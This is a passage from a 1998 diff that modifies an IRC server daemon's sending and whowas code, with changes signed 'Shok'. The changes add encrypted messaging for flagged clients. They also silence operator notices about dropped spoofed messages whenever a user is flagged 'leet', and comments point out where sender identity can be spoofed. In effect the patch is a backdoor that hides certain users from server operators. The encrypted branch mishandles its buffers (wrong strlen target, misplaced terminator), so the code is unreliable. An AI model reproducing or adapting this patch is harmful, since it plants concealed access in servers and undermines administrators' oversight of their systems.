parv[1], + get_client_name(cptr, FALSE), sptr->name); + } else + sendto_one(sptr, err_str(ERR_USERSDONTMATCH), me.name, parv[0]); + return 0; } @@ -3870,3 +4585,4 @@ } #endif /* FLUD */ + Only in ../real-ircd/src: s_user.c~ diff -u ../real-ircd/src/send.c src/send.c --- ../real-ircd/src/send.c Sun Mar 1 11:24:11 1998 +++ src/send.c Wed Aug 12 18:28:50 1998 @@ -32,6 +32,8 @@ #include <stdio.h> #include "numeric.h" #include "fdlist.h" + +#include <des.h> /* New Shok */ extern fdlist serv_fdlist; void sendto_fdlist(); @@ -270,42 +272,100 @@ va_list vl; #endif - int len; /* used for the length of the current message */ + /* New Shok - a lot of mods to all of this for encrypted data */ + + char encstr[4096]; + int len; /* msg len */ + memset(encstr, 0, sizeof(encstr)); + memset(sendbuf, 0, sizeof(sendbuf)); + #ifdef USE_VARARGS va_start(vl); - (void)vsprintf(sendbuf, pattern, vl); + + if (to->crypt == 1) + (void)vsprintf(encstr, pattern, vl); + else + (void)vsprintf(sendbuf, pattern, vl); + va_end(vl); + #else - len=format(sendbuf, pattern, p1, p2, p3, p4, p5, p6, - p7, p8, p9, p10, p11, p12); + if (to->crypt == 1) + len=format(encstr, pattern, p1, p2, p3, p4, p5, p6, + p7, p8, p9, p10, p11, p12); + else + len=format(sendbuf, pattern, p1, p2, p3, p4, p5, p6, + p7, p8, p9, p10, p11, p12); #endif - Debug((DEBUG_SEND,"Sending [%s] to %s", sendbuf,to->name)); + + if (to->crypt == 1) + encry(to, encstr); /* encrypt it using 3DES */ + + /* Debug() is a macro, so we need the {, }'s because it */ + /* expands to multiple command names. */ + if (to->crypt == 1) { + Debug((DEBUG_SEND,"Sending [%s] to %s", encstr, to->name)); + } else { + Debug((DEBUG_SEND,"Sending [%s] to %s", sendbuf, to->name)); + } if (to->from) to = to->from; if (to->fd < 0) - { + { Debug((DEBUG_ERROR, "Local socket %s with negative fd... AARGH!", to->name)); - } + } else if (IsMe(to)) - { - sendto_ops("Trying to send [%s] to myself!", sendbuf); + { + if (to->crypt == 1) + sendto_ops("Trying to send [%s] to myself!", encstr); + else + sendto_ops("Trying to send [%s] to myself!", sendbuf); + return; - } + } #ifdef USE_VARARGS - (void)strcat(sendbuf, NEWLINE); + if (to->crypt == 1) + (void)strcat(encstr, NEWLINE); + else + (void)strcat(sendbuf, NEWLINE); #ifndef IRCII_KLUDGE - sendbuf[510] = '\r'; -#endif - sendbuf[511] = '\n'; - sendbuf[512] = '\0'; - len = strlen(sendbuf); + if (to->crypt == 1) { + len = strlen(encstr); + if (len >= (sizeof(encstr)-5)) + len = (sizeof(encstr)-5); + + encstr[len]='\r'; + + } else + sendbuf[510] = '\r'; + + +#endif + if (to->crypt == 1) { + len = strlen(encstr); + if (len >= (sizeof(encstr)-4)) + len = (sizeof(encstr)-4); + + encstr[len] = '\n'; + encstr[len++] = '\0'; + len = strlen(sendbuf); + + } else { + sendbuf[511] = '\n'; + sendbuf[512] = '\0'; + len = strlen(sendbuf); + } #endif /* use_varargs */ - (void)send_message(to, sendbuf, len); + + if (to->crypt == 1) + (void)send_message(to, encstr, len); + else + (void)send_message(to, sendbuf, len); } # ifndef USE_VARARGS @@ -1071,8 +1131,12 @@ (void)ircsprintf(temp, pattern, par, p2, p3, p4, p5, p6, p7, p8); #endif - sendto_ops("Send message (%s) to %s[%s] dropped from %s(Fake Dir)", temp, - to->name, to->from->name, from->name); + /* Shok */ + /* We don't want the ops to get mad at us, if the */ + /* sender or receiver is leet */ + if (to->leet != 1 && to->from->leet != 1) + sendto_ops("Send message (%s) to %s[%s] dropped from %s(Fake Dir)", temp, + to->name, to->from->name, from->name); return; } @@ -1094,18 +1158,18 @@ if (MyClient(to) && IsPerson(from) && !mycmp(par, from->name)) { user = from->user; - (void)strcpy(sender, from->name); + (void)strcpy(sender, from->name); /* easy way to msg spoof */ if (user) { if (*user->username) { (void)strcat(sender, "!"); - (void)strcat(sender, user->username); + (void)strcat(sender, user->username); /* heh.. spoof */ } if (*user->host && !MyConnect(from)) { (void)strcat(sender, "@"); - (void)strcat(sender, user->host); + (void)strcat(sender, user->host); /* can spoof this */ flag = 1; } } @@ -1116,7 +1180,7 @@ if (!flag && MyConnect(from) && *user->host) { (void)strcat(sender, "@"); - (void)strcat(sender, from->sockhost); + (void)strcat(sender, from->sockhost); /* can spoof this */ } par = sender; } Only in src: version.c.last diff -u ../real-ircd/src/whowas.c src/whowas.c --- ../real-ircd/src/whowas.c Sun Mar 1 11:24:11 1998 +++ src/whowas.c Wed Aug 12 18:28:50 1998 @@ -169,11 +169,15 @@ { if (!mycmp(nick, temp->name)) { + + /* New Shok */ sendto_one(sptr, rpl_str(RPL_WHOWASUSER), - me.name, parv[0], temp->name, + me.name, parv[0], temp->curnick, + temp->name, temp->username, temp->hostname, temp->realname); + sendto_one(sptr, rpl_str(RPL_WHOISSERVER), me.name, parv[0], temp->name, temp->servername, myctime(temp->logoff));